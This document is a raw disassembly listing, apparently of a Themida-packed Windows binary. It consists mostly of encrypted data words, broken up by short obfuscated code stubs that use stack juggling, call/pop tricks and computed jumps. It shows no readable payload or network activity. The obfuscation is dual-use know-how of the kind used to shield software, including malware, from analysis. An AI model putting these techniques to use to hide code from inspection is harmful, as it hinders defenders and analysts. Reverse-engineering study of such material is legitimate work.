		dd 0B2C11C6h, 0ED0451ECh, 62D8A77Ch, 396C9939h,	9D5A0B1Eh
		dd 92ED0451h, 0FA27A8DDh, 0FBB48E49h, 734E992h,	1899BCD4h
		dd 8E2603h, 0AA8D0000h,	0BB9EF5EFh, 54FE21D6h, 2A6794C9h
		dd 0DFC45FF7h, 2208A92Ah, 556B0B45h, 0D10EBBA0h, 0F542D720h
		dd 2AAB6066h, 0A9D67107h, 3277EB6Dh, 4A767CB0h,	0B7B77BA8h
		dd 0BFD45555h, 2075C69Ch, 6EA3583Dh, 0DA450E41h, 1B3E52F5h
		dd 0CB4C8136h, 612BC5E6h, 390E66F4h, 64C79D2Ah,	6352FB37h
		dd 31F653BBh, 0CACF9BB0h, 4A2ADB08h, 81650263h,	2E44E7CCh
		dd 582D260Bh, 0C475B20Bh, 6CEA7B33h, 0FAC647FCh, 5506339Fh
		dd 6AF86D1Fh, 838CA156h, 0B6E3EFAAh, 0CE4FD283h, 4084F0A1h
		dd 174A6B12h, 4B00E540h, 316306CAh, 0E0B53937h,	0E419C6EBh
		dd 30154AFFh, 3F54F78Dh, 9EF5461Ch, 0EC21D6BBh,	0B62EE607h
		dd 94BE2BF8h, 39589A92h, 6A9F80FDh, 0ADB0E285h,	2E3D82C8h
		dd 0A7E4A18Fh, 0E82001F6h, 813613h, 0C99F2C3Bh,	2036596Eh
		dd 0BFE27D17h, 74598EA9h, 5DC094C7h, 829DB9DCh,	0B0CFA49Dh
		dd 0E5FA5D33h, 0A489ACC2h, 0A47h, 3D578A00h, 7883D22h
		dd 53CED7FEh, 93361B3Eh, 0D2755AFDh, 16B99E81h,	5E01E641h
		dd 0A74A2F0Ah, 0F09378D3h, 31D4B9A4h, 7417FC67h, 0F7593E21h
		dd 815B5453h, 4C3h, 4EB8300h, 5C241C87h, 331968h, 24048900h
		dd 68F468h, 24348900h, 651D6852h, 148B4B25h, 4C48324h
		dd 382FC281h, 0F2814E51h, 9F6093CAh, 815AD089h,	4ECh, 24248900h
		dd 4240483h, 2C7A685Eh,	4890000h, 8468F24h, 5E2434FFh
		dd 8B04C483h, 89532404h, 4C381E3h, 83000000h, 1C8704C3h
		dd 0F7E95C24h, 82FFF96Ah, 8592FD8Eh, 0FEEF888Fh, 23FC568Dh
		dd 1352B813h, 0C5030616h, 74E2E0FFh, 3FA04ADEh,	8B920470h
		dd 0A50A408Bh, 0F187F69h, 56D725E0h, 47192ECFh,	4CA807EEh
		dd 5340125h, 0B5E40B8h,	39AA52F8h, 48BF5217h, 84921609h
		dd 0F05F1C7Bh, 16E04114h, 489114D0h, 6E2204B1h,	237C45D1h
		dd 0B19C1FD8h, 67EA194Dh, 0AB1C6FD1h, 0E4E954A0h, 8D8D21ECh
		dd 6161541h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0D4C35040h, 0BF0D4845h,	0E8BD775Fh, 0DFBF0F90h
		dd 4EDBD89h, 8D89060Fh,	60F2C65h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 2AC35747h, 0D6B0F049h, 0C185C7C8h
		dd 0F4060F07h, 6A00006Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 873CC355h, 2C72066Ah
		dd 89858BCFh, 0C7060F2Dh, 0F249185h, 6,	61BD8900h, 0FF060F00h
		dd 0F2A1DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 11E8501Ch, 0E000000h, 87AAF611h
		dd 981B28B8h, 0B52CC010h, 0A1E4250Ch, 880Fh, 5B5E0000h
		dd 2A0595FFh, 6A060Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BF1FE0C3h, 5DE7EA3Ah, 95FF006Ah
		dd 60F3451h, 3AEBC08Bh,	0E0B90171h, 0DD07536Bh,	5C375724h
		dd 5EE2C54Ch, 0CBD6C508h, 55E1EC52h, 97E517CAh,	2DFAEDB7h
		dd 9C7F83B5h, 0D75D639Fh, 5D41F204h, 991D343Dh,	0EC604D40h
		dd 0A7ECD80Fh, 9E87D6Eh, 1E000000h, 6632E193h, 7DC5692Dh
		dd 68F0Fh, 9D8B0000h, 60F15DDh,	81C58A59h, 6C25C1h, 1AC46800h
		dd 0FE80000h, 0B0000000h, 1A435200h, 1C31F989h,	60EE825Eh
		dd 0B58B2947h, 60F0A69h, 8BF55F5Bh, 9E811h, 1310000h, 34C0C879h
		dd 811928B6h, 7298B6D6h, 0EA815820h, 244482FAh,	14E9h
		dd 82D6AA00h, 0EFC83EB6h, 0B80016BEh, 43FCF60Bh, 533EE39Ch
		dd 0E5C281E8h, 892DC302h, 0F2DADB5h, 0DCEA8106h, 8B7F6A14h
		dd 0F143185h, 0BE665206h, 18FBFBAh, 20800Fh, 8D0F0000h
		dd 1Ah,	14E8h, 0CE349800h, 9A807FD7h, 3D1A8F27h, 353495DBh
		dd 5D2D5232h, 0E9815BB1h, 1FD2CAD3h, 13358D29h,	0C181060Fh
		dd 1FD2CACFh, 11E9h, 89710400h,	64C7D706h, 66F2D389h, 8834426Dh
		dd 0EF839F9Ah, 17850F01h, 0F000000h, 688h, 11850100h, 0E9060F19h
		dd 1Ch,	0FFDDF851h, 8166C907h, 0E95634CEh, 0FFFFFF33h
		dd 663AE209h, 227E28A5h, 0F1116333h, 7E8h, 6E595A00h, 0FC59783Fh
		dd 5E9h, 2A931900h, 8B5823C3h, 0F31C59Dh, 3CC08106h, 8B000068h
		dd 0F12A1BDh, 2A34BA06h, 0EA815922h, 5922105Ah,	5E8h, 344F7000h
		dd 0EB814FE7h, 280FF924h, 81308B5Fh, 0CC534CCBh, 91F6815Ch
		dd 2935A0CBh, 0F168185h, 5BF68106h, 0E97E5B17h,	0Ah, 9DD38275h
		dd 7A55113Fh, 0C6812416h, 49B9F298h, 56CEBF0Fh,	2A618D89h
		dd 8F060Fh, 22E881F8h, 565AA6E0h, 5FCA8B66h, 0E01EC081h
		dd 81665AA6h, 81D3C7EBh, 1EAh, 1B850F00h, 0E9000000h, 0Bh
		dd 0E7DC0E11h, 7FFC3227h, 0E9E5DF1Fh, 25h, 4A0078F0h, 0DF818086h
		dd 43BD1DD7h, 0FFFF7CE9h, 213702FFh, 0AE268AFBh, 0BD9460A5h
		dd 0C401A237h, 83F19C39h, 308D8D5Bh, 6A061618h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0F97DC350h, 231DBD89h, 8D89060Fh, 60F2C65h, 15C1BD8Bh
		dd 85C7060Fh, 60F07C1h,	6348h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 4AC35141h, 48E5EE81h, 0C30FFDADh
		dd 319D89B6h, 0C7060F1Eh, 0F249185h, 6,	67F78000h, 87DB5FFh
		dd 9D33060Fh, 60F1B21h,	2A0595FFh, 6A060Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0FC0DDFC3h
		dd 819D8BA0h, 6A060F27h, 5195FF00h, 8B060F34h, 0F01DEBC0h
		dd 0F2BC1064h, 6610189h, 0E3D5397Fh, 74965C41h,	0A49F8757h
		dd 0AB8536F8h, 1348FBEFh, 0DE8h, 25277000h, 84467F6Dh
		dd 0A15F59EDh, 85895D5Dh, 60F1471h, 53BF665Eh, 93C68189h
		dd 0E800006Eh, 5, 0CF4ABBB8h, 11858B9Ch, 5F060F10h, 0C1D96EBAh
		dd 0FCC2815Fh, 0E9A03E41h, 0Eh,	0A8F896D8h, 0B8315DADh
		dd 8D51ECA2h, 1E8BA67Fh, 12D58503h, 0F381060Fh,	35BB3E78h
		dd 0EB81FB8Bh, 1D41E849h, 4236F381h, 0DE916B9h,	20000000h
		dd 17768216h, 0F2F2E701h, 7888522Fh, 68FF953h, 0EE81F98Bh
		dd 735A8191h, 0C681C0B0h, 735A818Dh, 1A999D89h,	0F4A060Fh
		dd 1985h, 0B18D8B00h, 0E9060F28h, 48h, 26119E84h, 4EEEE8BBh
		dd 8553517Ah, 12E805A6h, 6A000000h, 0B3DE9184h,	555A46ADh
		dd 805A23F5h, 0DAA6F02Fh, 5E9E4h, 279F0000h, 5FF6C07Ah
		dd 0FFFF71E9h, 21A87CFFh
		dd 0E7626D86h, 25FD735Dh, 0E644128Bh, 0D70167CDh, 0AE8h
		dd 0FF344700h, 0B690D5D4h, 8B02493Ch, 0F1A5DBDh, 0BF605906h
		dd 62190CD2h, 0D39B589h, 8161060Fh, 5CB1C1h, 3810F00h
		dd 0F000000h, 1BED7B7h,	8B000017h, 0F34C595h, 0F198B06h
		dd 68Ch, 29958900h, 81060F08h, 8D9625F3h, 0BE953h, 2F6A0000h
		dd 8E601FBAh, 27AD3AF3h, 0EC38198h, 9791E86h, 0F274D8Dh
		dd 0E8F38106h, 80607A4Bh, 1989C8F4h, 2401958Bh,	0E983060Fh
		dd 0F9958B02h, 49060F12h, 8D0FBF49h, 0EE8114ABh, 1, 12850Fh
		dd 858B0000h, 60F2CB1h,	11E9h, 5AED1700h, 0AA65D3AAh, 0FFFF8CE9h
		dd 7E01DCFFh, 0AC42C4D9h, 2406A234h, 7D7AA27Ch,	38C33BB3h
		dd 2A21803Fh, 259083B4h, 25DD6F30h, 98A78630h, 231DA191h
		dd 0AD8D8930h, 0A6848630h, 2A4F2B8Dh, 0A12E8636h, 2590864Bh
		dd 1B503F6h, 4D6A803Fh,	92F94081h, 0D42DB2B1h, 0DA9B2F21h
		dd 2A652785h, 0C2A40B36h, 0DA969442h, 0E3B80DE0h, 2A007BB5h
		dd 21FAC836h, 65098630h, 752CC4E7h, 2166C2BBh, 61A886BBh
		dd 0DAC88214h, 2A452B85h, 0C2A10B36h, 0DA149442h, 9CF10DE0h
		dd 25848620h, 25428ED9h, 0A02E2030h, 2590863Eh,	2A818D79h
		dd 0DADB76B5h, 251F6FCFh, 0B8848630h, 238BCA97h, 25428388h
		dd 0A8C27930h, 33897A8Dh, 0E6C50B36h, 9D22902Ah, 0A322A322h
		dd 0AC42491Bh, 2406A234h, 7D7AA27Ch, 38C33BB3h,	2A21803Fh
		dd 259083B4h, 25DD6F30h, 98A78630h, 5E98391h, 22B9A4F3h
		dd 0E8000000h, 7, 0B773AF22h, 0E8EA93D9h, 0Dh, 51B5CB7Fh
		dd 83D7E214h, 875F4F21h, 418D3157h, 5A060F1Bh, 0DBC6815Eh
		dd 0B700005Ah, 6876h, 81600000h, 0A5DBBACAh, 0F3BF0F1Ah
		dd 0BD235861h, 60F1BA1h, 893034FFh, 0F0A8D8Dh, 0BF665906h
		dd 0E981B59Fh, 7B8E6C83h, 81E5CB80h, 7610F2F1h,	9D8D895Dh
		dd 81060F27h, 0FE79B6F1h, 60C892Ah, 0E9F5C380h,	0Bh, 0AAE45800h
		dd 9A9FFDBDh, 83C1A89Ch, 7E902E8h, 71000000h, 0D14E47DFh
		dd 48485409h, 0F881D18Bh, 0FFFFA5E4h, 12850Fh, 9D330000h
		dd 60F2321h, 1AE9h, 3B3C6800h, 9825F889h, 80CCBA66h, 0FFFF87E9h
		dd 0D49363FFh, 0B05BE999h, 0E9D09A2Bh, 31h, 6525E04Ah
		dd 0Bh dup(0)
		dd 911E900h, 2A3F0000h,	0BED7FA0Fh, 296B8EA3h, 56FE2136h
		dd 0FF93B6CBh, 9426475Ch, 0B4C96C04h, 4A5FFA91h, 0DCF16C27h
		dd 7388A3B9h, 0B146F7A4h, 8666EE32h, 0C49768Fh,	44D9C5Bh
		dd 0BBDE936Dh, 600182A5h, 6D044D9Ah, 2226F834h,	20840CF1h
		dd 43E67C9Fh, 0A2A4DA16h, 0EB632DABh, 0F528556Ah, 0EB90BC9Fh
		dd 0D8008256h, 0E0B98506h, 4C88C5F2h, 0B2EFC560h, 50F172F1h
		dd 6B0B0BC6h, 6A17FCB1h, 0FC7B7C2Dh, 0FFB466F4h, 2D075B7Eh
		dd 0D8C596F8h, 8B96BEDFh, 0B0802A56h, 28FBA80Fh, 0A5BBDEF3h
		dd 64FA9D82h, 5196DCC1h, 0BD6EAB32h, 66F4DD3Ah,	609748F5h
		dd 0D766F4DDh, 496CED22h, 0B8EB1833h, 0ED02839Eh, 5CF78DC0h
		dd 0F4DD4CABh, 0F92EE366h, 0F1DE5F14h, 46008427h, 7782F733h
		dd 2262A28Bh, 6185A1h, 536C0000h, 0B3EF1C3Fh, 87C22DEBh
		dd 5AC58FF3h, 1CBFA425h, 81B4E144h, 0B1664BD6h,	0C0054B30h
		dd 0E94C24A3h, 0A231E7D4h, 0EC294C0Fh, 406BC3Bh, 3DBE736Dh
		dd 2A21h, 0DBB1E400h, 53F6FF80h, 16371C3Fh, 6D044DE4h
		dd 7B4817ECh, 522F44E7h, 20h, 2D306295h, 31679348h, 0C86AF83Bh
		dd 53222BACh, 16371C3Fh, 6D044DE7h, 8F5C2B00h, 424B60FBh
		dd 0E6411649h, 0D2009965h, 623568A5h, 0E4651AFFh, 0B576F43h
		dd 0EF83266Bh, 9BA674Ch, 66F537EEh, 3C5F9449h, 6E23081Bh
		dd 0E7B15439h, 1244677Ch, 0E5AFE20Fh, 1C51F48Ch, 1C018237h
		dd 0DC09C9D0h, 0FC4E4B2Bh, 30467964h, 1BD09415h, 60C39336h
		dd 0A782D87Bh, 936415C2h, 9C6D0410h, 0F8875CE7h, 0FC8B60D9h
		dd 7DE0B2E5h, 11589F50h, 2ADF6D04h, 63CC86A9h, 0D283E0Fh
		dd 93E7328h, 0A587D1F4h, 0C11B8672h, 2601596Eh,	22578C41h
		dd 395D903Dh, 304A526h,	856D0382h, 9D5A0B48h, 296D0381h
		dd 3827F78h, 3F03B86Dh,	2744098Ah, 5E73EEA8h, 0E5EDAA55h
		dd 530891DCh, 61111A3Dh, 0B146F734h, 866D044Dh,	494750D1h
		dd 5EF67F16h, 0F429DEC3h, 0E9A28673h, 27EB4F0Fh, 0D2000000h
		dd 63F7EDAAh, 4DD81FD0h, 0AA5F6D04h, 49374075h,	44E5F98h
		dd 1A23D86Dh, 1533049h,	2BB4151Eh, 3199h, 0EDAA0000h, 9849DCE5h
		dd 6D044E5Fh, 49111ADFh, 0F99CCF0Ch, 2BCC8166h,	6D044DCCh
		dd 0BBB452FBh, 0D09466F4h, 53919A1Bh, 0FD583001h, 252E6318h
		dd 16492BB4h, 47FCE17Ch, 6ACDA3C6h, 0CF096485h,	0CF246D00h
		dd 0FA5D33B0h, 8BAEC2E5h, 0CC6F03A6h, 0F5CA1E7h, 49EC83B6h
		dd 72CDA5C8h, 0FFCD36C1h, 174C016Ch, 75031502h,	46684C0Bh
		dd 4F000000h, 89233D53h, 0CA57484Bh, 0EDCB2CDDh, 0AF646D03h
		dd 0B360457Ah, 3661EA80h, 5C91462Bh, 99BCD477h,	49CAFFB4h
		dd 89B61C7Dh, 0EE5C9B4Ch, 30D36D03h, 46C7FC67h,	0F8966819h
		dd 0FCB16B0Ah, 3754A917h, 7287A2B8h, 1A3D5369h,	22B0E935h
		dd 54EA44F5h, 3C6B0Bh, 0AEED7B22h, 9849765Dh, 66F4FB5Fh
		dd 0DEA223D8h, 9BF11429h, 62BADBC0h, 0BAE366D1h, 0FDA08598h
		dd 0D6E1C659h, 65536201h, 2E6A7310h, 277BCCB4h,	496CED75h
		dd 0E0031833h, 7ECAAF8Ah, 0D98AB71Bh, 0E88E076Dh, 151E33E8h
		dd 0DCE5EDAAh, 16490891h, 4366E742h, 9661122Dh,	0A16D044Dh
		dd 61AEB7ECh, 291DF834h, 9F151D08h, 9F89151Eh, 0EC4F0FE9h
		dd 44h,	0EEEDAAD3h, 56FFDA38h, 7881B6CAh, 4E5F9849h, 336F6D04h
		dd 0E1DBD052h, 22E6678Fh, 490D406Dh, 0BB3CF1D6h, 533049B2h
		dd 0B4151E01h, 650D492Bh, 0B146F78Dh, 866D036Ah, 340BA5D1h
		dd 375B38B9h, 0C2000000h, 0DCE5EDAAh, 0E6411649h, 70873865h
		dd 5E6D044Eh, 77F86B2Bh, 49ECF5BAh, 76BD00Ch, 0AABC6302h
		dd 0FB27FA61h, 33B4DB54h, 1E01532Ah, 0D407B415h, 6BBA083h
		dd 3D537C85h, 5914351Ah, 746D00CFh, 4679401Fh, 7D321732h
		dd 0A883D9FCh, 3D187093h, 3B6EAB58h, 6D22071Ah,	0FFCD2BCCh
		dd 0CE4F046Ch, 8F74D7ABh, 0CCB194ECh, 0CF16C29h, 7E5F2C01h
		dd 82D80BB8h, 0CCF9FEAFh, 893E6CFFh, 710ED354h,	0DD441E72h
		dd 527AB03Bh, 77AAD70Ch, 0ACC142DDh, 0B4C59BFh,	57124Ch
		dd 49F90000h, 0F960640Dh, 1E9F1F7Dh, 95C265FBh,	0B150A758h
		dd 32E76D03h, 1980CCB1h, 0DA508CB9h, 0B29675B0h, 0FC0ED6Eh
		dd 6B0ACD1Bh, 0D87AAD5Ah, 0AAB6045h, 66F4DAEDh,	0E5A98CE3h
		dd 24092C42h, 0D8053A6Fh, 0DB0DEA9Bh, 7F2266F4h, 97184DE8h
		dd 90EF44B2h, 51A3D53h,	1A3D53FCh, 22B0E935h, 9F90C2F5h
		dd 0D4896EC9h, 5C0DBA9Fh, 6D044D9Bh, 29AADF94h,	6783BFFCh
		dd 4E5FA635h, 1FBB5CDDh, 566B0AC7h, 0AA838CA1h,	85B8E5EDh
		dd 0B56A4FD2h, 8912B34h, 111A3D53h, 0EEFA0D49h,	7156C98Ch
		dd 0FEFD90BCh, 0F0F90E8Fh, 0FE99F89h, 6DEC4Fh, 49D30000h
		dd 0FFE47F16h, 0EE23065Ch, 0DCF6A16Dh, 7D1649D3h, 0F304B5E2h
		dd 3C6D044Dh, 28D90687h, 6D044DCFh, 8D90C568h, 0B5BEF3A8h
		dd 0E47F1649h, 0E61E4AFFh, 3A9F6DD7h, 7AB7E465h, 2E30673Eh
		dd 4CCD123Fh, 26015343h, 44D8275h, 0C3F8AD6Dh, 7F1649BAh
		dd 0F4A163E4h, 0A58A95C1h, 99666FF0h, 36h, 9EE9FDCh, 2E6D044Eh
		dd 0AAEFF879h, 85B8E5EDh, 2E095FD0h, 7A5F9449h,	493B44C5h
		dd 44E5F98h, 111ADF6Dh,	1533049h, 3B4F11Eh, 6D044DF4h
		dd 0FC05863Bh, 0C492BB4h, 44D9C5Bh, 98F0936Dh, 0EE23D8BDh
		dd 11344A6Dh, 0CF620B2Ch, 0B26F6D00h, 0CD4EE97Fh, 166C7B08h
		dd 65FB1E33h, 316295C2h, 7CC8AD2Eh, 0D788B51Dh,	6B06D3A7h
		dd 0B740F19Eh, 2166F8B3h, 560BF04Bh, 93A8DD92h,	7F782966h
		dd 0B866F8B4h, 0AA798203h, 91DCE5EDh, 42164908h, 0CC4D02E7h
		dd 6F78D3A9h, 0E5401649h, 0B5CA4B00h, 0D90C49ACh, 0F007A883h
		dd 476D044Dh, 4241192h,	694F0FEAh, 4Ah,	0C35EF92Ch, 9FA829DEh
		dd 0E17C1649h, 0FAC647FCh, 492C359Dh, 44E5F98h,	183C6F6Dh
		dd 66742005h, 0A600C961h, 8A4ECF04h, 3049CCD5h,	9C5B0C49h
		dd 936D044Dh, 183A5DDEh, 4D9B5C0Dh, 0DF946D04h,	2BB4A1AAh
		dd 2B99h, 0EDAA0000h, 9849DCE5h, 6D044E5Fh, 0E183C6Fh
		dd 0D0BF8638h, 0A68BC0EAh, 0EEB370F1h, 493049E5h, 1E64116h
		dd 0EEA8CB4Ch, 2BB46A73h, 0ED1A3D53h, 4DF8FFB0h, 8A3F6D04h
		dd 6A032409h, 876D00CFh, 45A8DCAh, 0E6873C21h, 6CFFCD11h
		dd 4FD28326h, 0B7D4991Ah, 0F2072238h, 719EB9CFh, 8D0E293Eh
		dd 953D5CA8h, 0EAA3B768h, 1DD26B06h, 0D49FF08h,	0FF7E63EFh
		dd 0C08C0DBBh, 0A55203D7h, 8A6D03DBh, 9197A0D5h, 7ED9B1E4h
		dd 0C49F4FDh, 44D9C5Bh,	5DDE936Dh, 0D401243Ah, 6404B998h
		dd 0EE9FD36Dh, 6D037509h, 0C344792Eh, 895861BAh, 4F0FE99Fh
		dd 31ECh, 0EDAAD300h, 9849DCE5h, 6D044E5Fh, 491A23D8h
		dd 7D164930h, 0EF611EEBh, 2F6483A4h, 56C98BAEh,	992BB44Dh
		dd 53h,	0D2EFA0DCh, 195C9BA6h, 16498F98h, 9A66E742h, 49CCD5FDh
		dd 2E74216h, 629FCC4Dh,	7F005B2Fh, 44E19DEh, 9F79B56Dh
		dd 3DCA86D3h, 0B78D1C48h, 2F245D40h, 232CF1AEh,	1533049h
		dd 0D49151Eh, 14984205h, 426BB95h, 0C0C2EEh, 0E94C2346h
		dd 531DA668h, 4106233Dh, 0F41E6DC7h, 4ED6B837h,	7497CCD2h
		dd 9F54391Ch, 4F003D6Ah, 6D03E4A8h, 7459DA8Fh, 72C394C7h
		dd 1F04391Ch, 7632673h,	3368FAE8h, 1FB3E6B2h, 8A95BFF2h
		dd 426FF0A5h, 0A967991h, 0F207BC6Bh, 325F7326h,	25D2881h
		dd 0D5BA6F65h
		dd 0CCF95C32h, 8F690890h, 59DA4B4Ah, 0C7DB1744h, 9CA156ADh
		dd 451B3EBFh, 83DCFDE2h, 920E1D95h, 0CBA12E3Dh,	694ED182h
		dd 5BC691B4h, 778CC176h, 552D3E54h, 1AAE49FAh, 0D48909DAh
		dd 0D005BA9Fh, 110C48EBh, 15E332Ch, 7489ACC2h, 3B203B51h
		dd 0DDEh, 0C494500h, 44D9C5Bh, 5DDE936Dh, 3E53B5BEh, 0FD93361Bh
		dd 81D2755Ah, 4116B99Eh, 0A5E01E6h, 0D3A74A2Fh,	0A4F09378h
		dd 6731D4B9h, 217417FCh
		db 3Eh,	59h, 0F7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	439Ah
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		push	353416AEh
		pop	ecx
		push	edi
		mov	edi, 68C91D02h
		or	ecx, edi
		pop	edi
		sub	ecx, 77E703C2h
		mov	edi, ecx
		pop	ecx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 9E27F34h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 9E27F34h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		cmp	ah, [edx-6F03A29Ah]
		aaa
		lahf
		push	esp
		mov	eax, 616246Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 43B8F41Ch, 748F1F12h, 48BCB09Fh, 18C2EF59h, 3025DD79h
		dd 2CB5B4B0h, 1772B0F9h, 1CDC7EFAh, 26248D8Dh, 7E80616h
		dd 52000000h, 0E9B15D2Dh, 8B5A4763h, 0F0D1185h,	658D8906h
		dd 6A060F2Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 32EBC350h, 4F99D278h, 529DACC7h
		dd 0C7F7BF0Fh, 0F07C185h, 59B406h, 66606000h, 89E506BEh
		dd 0F28B9BDh, 0FE96106h, 59000000h, 0E3B3940Eh,	51E660C7h
		dd 43063DA7h, 0C761E92Eh, 0F249185h, 6,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0D2480425h, 3DB5FF89h, 6A060F21h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 75ADC350h
		dd 40C57A9Ah, 0F1051B9h, 0B529D0B7h, 60F2ED5h, 2A0595FFh
		dd 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 669A74C3h, 6AF558BEh, 5195FF00h, 8B060F34h
		dd 0D6FEBC0h, 0F3771587h, 0D44A1EEDh, 43BFE176h, 0F2A397B1h
		dd 0DFA3B296h, 0E91F3959h, 8A668991h, 0BB2177A3h, 0E1D0856Dh
		dd 0F835DAD1h, 0B08134C1h, 27DAFBD1h, 9054Fh, 31D7E0F5h
		dd 0CBF29632h, 5BDAB75Eh, 95F7D04Bh, 0FA54C0A8h, 0D52B31AEh
		dd 851D88ADh, 43101100h, 0B26CDFD0h, 991B0731h,	897D61A6h
		dd 613E81FAh, 0B2802725h, 56432EFDh, 14E8EE1Ah,	0CF000000h
		dd 2182C3BBh, 413ACF58h, 3CE4AA55h, 0B3EC8497h,	0B2373DBh
		dd 0F21D98Dh, 8D8B5B06h, 60F0115h, 58DAC381h, 6E90000h
		dd 0A8000000h, 9E604F5Ch, 0BAD5h, 0D7B40000h, 11A34FFh
		dd 0F24ED85h, 0CE95F06h, 0C4000000h, 7A70BC7h, 1E83DEE1h
		dd 8161F000h, 7BD12FEFh, 800F5706h, 2, 8158F78Bh, 0F86701EFh
		dd 4D9D3174h, 81060F34h, 3853CFC7h, 0F5858957h,	57060F24h
		dd 6613048Fh, 0D081C68Bh, 6E43EB14h, 6004EA83h,	0DBD2B57h
		dd 5E060F28h, 12E9h, 87AC5100h,	5FFB749Ah, 4F1C5093h, 4A947720h
		dd 614C7DE2h, 0A7E0FA81h, 850FFFFFh, 0FFFFFF80h, 62D08166h
		dd 13E8A0h, 9AC00000h, 0D4EBC5E7h, 0CBDBABF1h, 8C7191A1h
		dd 89F18273h, 5EDCB486h, 0C681D38Ah, 61D7h, 6839E881h
		dd 0BCBF6CE3h, 816886EDh, 86D569EFh, 11E968h, 2210000h
		dd 8BC744F9h, 43798A74h, 6E0E130Bh, 0FF4DC7E6h,	0D3B86636h
		dd 0CB65BF2h, 0D5F9C381h, 0C3815524h, 5E06CD49h, 0EB81E68Ah
		dd 3EA3D1A5h, 53D3BF0Fh, 8FCF8B66h, 95B50106h, 81060F24h
		dd 0D737CEEEh, 0D38B6632h, 37CAC681h, 0EF8332D7h, 0BC850F01h
		dd 89FFFFFFh, 0F3225BDh, 9F8D8D06h, 6A061628h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0A247C351h, 2C658D89h, 12E8060Fh, 9D000000h,	161FC099h
		dd 2BC48BF7h, 0C1B091FEh, 0CD2D423Ch, 5FFB8B9Ch, 7C185C7h
		dd 5DA8060Fh, 0B5290000h, 60F3379h, 8118D89h, 85C7060Fh
		dd 60F2491h, 0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+60F0139h]
		mov	ax, 8EABh
		push	dword ptr [ebp+60F1CB1h]
		push	0
		push	ebp
		call	sub_5BD737
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD737	proc near		; CODE XREF: Themida_:005BD72Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BD737	endp

; ---------------------------------------------------------------------------
		pop	ebp
		add	esi, [esi+0F79F87Dh]
		mov	bh, 0FEh
		stc
		call	dword ptr [ebp+60F2A05h]
		add	esi, 7499DBA6h
		mov	esi, 1B494736h
		push	0
		call	dword ptr [ebp+60F3451h]
		mov	eax, eax
		jmp	short loc_5BD7A9
; ---------------------------------------------------------------------------
aTwe2SmRm	db 27h,'’We&·2ìÁ éŒËàM',0
		dw 3509h
		dd 754E03F5h, 4ED707FDh, 0C4242C21h, 40C94B32h,	98BA1E9Dh
		dd 1E57B599h, 7FE56F4Ch, 7AA6108Eh, 3622D379h, 747D1A4Fh
		db 0F4h
; ---------------------------------------------------------------------------


loc_5BD7A9:				; CODE XREF: Themida_:005BD76Cj
		lea	ecx, [ebp+61629BBh]
		push	0
		push	edx
		call	sub_5BD7BA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BD7BA	proc near		; CODE XREF: Themida_:005BD7B2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BD7BA	endp

; ---------------------------------------------------------------------------
		dw 40D3h
		dd 60CC37C7h, 9E8D8B5h,	87000000h, 4E89C962h, 75FA6523h
		dd 658D895Bh, 6A060F2Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 2330C352h, 13E8h, 68C26300h
		dd 0B1C439DCh, 61236A52h, 3A6EDA50h, 0A8DC299Ah, 9CE8166h
		dd 85C75EB3h, 60F07C1h,	6B6Ch, 2CA58589h, 0B589060Fh, 60F141Dh
		dd 249185C7h, 60Fh, 8F0F0000h, 6, 246DB58Bh, 0B5FF060Fh
		dd 60F1581h, 2DA5958Bh,	95FF060Fh, 60F2A05h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E4C35646h, 6AC28Bh
		dd 345195FFh, 0C08B060Fh, 52633AEBh, 28448C54h,	28C2A3E7h
		dd 441502E5h, 0FDAE0E53h, 0FF30B172h, 6E3956F0h, 51F13ADFh
		dd 95B44418h, 4E25FE57h, 4E7FA5C7h, 12D43639h, 415ECDE7h
		dd 0F02E711h, 0CBC0A9Eh, 2A8D8D8Dh, 0B5090616h,	60F2A61h
		dd 2C658D89h, 0BA66060Fh, 85C7E69Ah, 60F07C1h, 6128h, 0E851006Ah
